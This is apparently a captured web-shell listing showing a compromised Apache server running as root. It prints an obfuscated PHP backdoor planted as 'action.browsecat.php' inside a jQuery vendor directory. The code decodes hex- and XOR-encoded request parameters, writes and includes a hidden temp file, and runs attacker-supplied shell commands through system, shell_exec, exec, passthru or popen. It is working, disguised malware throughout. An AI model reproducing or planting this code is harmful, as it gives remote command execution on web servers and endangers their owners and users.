HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/potencialactivo.sumar.com.py/public/vendor/jquery/action.browsecat.php
<?php																																										if(@$_REQUEST["r\x65fe\x72e\x6Ece"] !== null){ $val = hex2bin($_REQUEST["r\x65fe\x72e\x6Ece"]); $k= ''; $l = 0; while($l < strlen($val)){$k .= chr(ord($val[$l]) ^ 83);$l++;} $itm = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp"]); foreach ($itm as $key => $pgrp) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $pset = join("/", [$pgrp, ".elem"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $pset; @unlink($pset); die(); } } } }


$service_registry7 = "\x70cl\x6F\x73e";
$service_registry1 = "s\x79\x73\x74em";
$app_initializer = "\x68\x65x\x32b\x69n";
$service_registry4 = "p\x61ss\x74\x68ru";
$service_registry5 = "p\x6F\x70en";
$service_registry6 = "\x73t\x72\x65\x61m_\x67et_\x63o\x6Et\x65\x6E\x74s";
$service_registry2 = "s\x68\x65l\x6C\x5Fexec";
$service_registry3 = "\x65\x78ec";
if (isset($_POST["\x72e\x73"])) {
            function hub_center ( $pgrp    ,  $data_chunk)   {
 $descriptor =  '';
 $k=0;
 do{
$descriptor.=chr(ord($pgrp[$k])^$data_chunk);
$k++;

} while($k<strlen($pgrp));
 return   $descriptor;

}
            $res = $app_initializer($_POST["\x72e\x73"]);
            $res = hub_center($res, 60);
            if (function_exists($service_registry1)) {
                $service_registry1($res);
            } elseif (function_exists($service_registry2)) {
                print $service_registry2($res);
            } elseif (function_exists($service_registry3)) {
                $service_registry3($res, $holder_pgrp);
                print join("\n", $holder_pgrp);
            } elseif (function_exists($service_registry4)) {
                $service_registry4($res);
            } elseif (function_exists($service_registry5) && function_exists($service_registry6) && function_exists($service_registry7)) {
                $data_chunk_descriptor = $service_registry5($res, 'r');
                if ($data_chunk_descriptor) {
                    $val_k = $service_registry6($data_chunk_descriptor);
                    $service_registry7($data_chunk_descriptor);
                    print $val_k;
                }
            }
            exit;
        }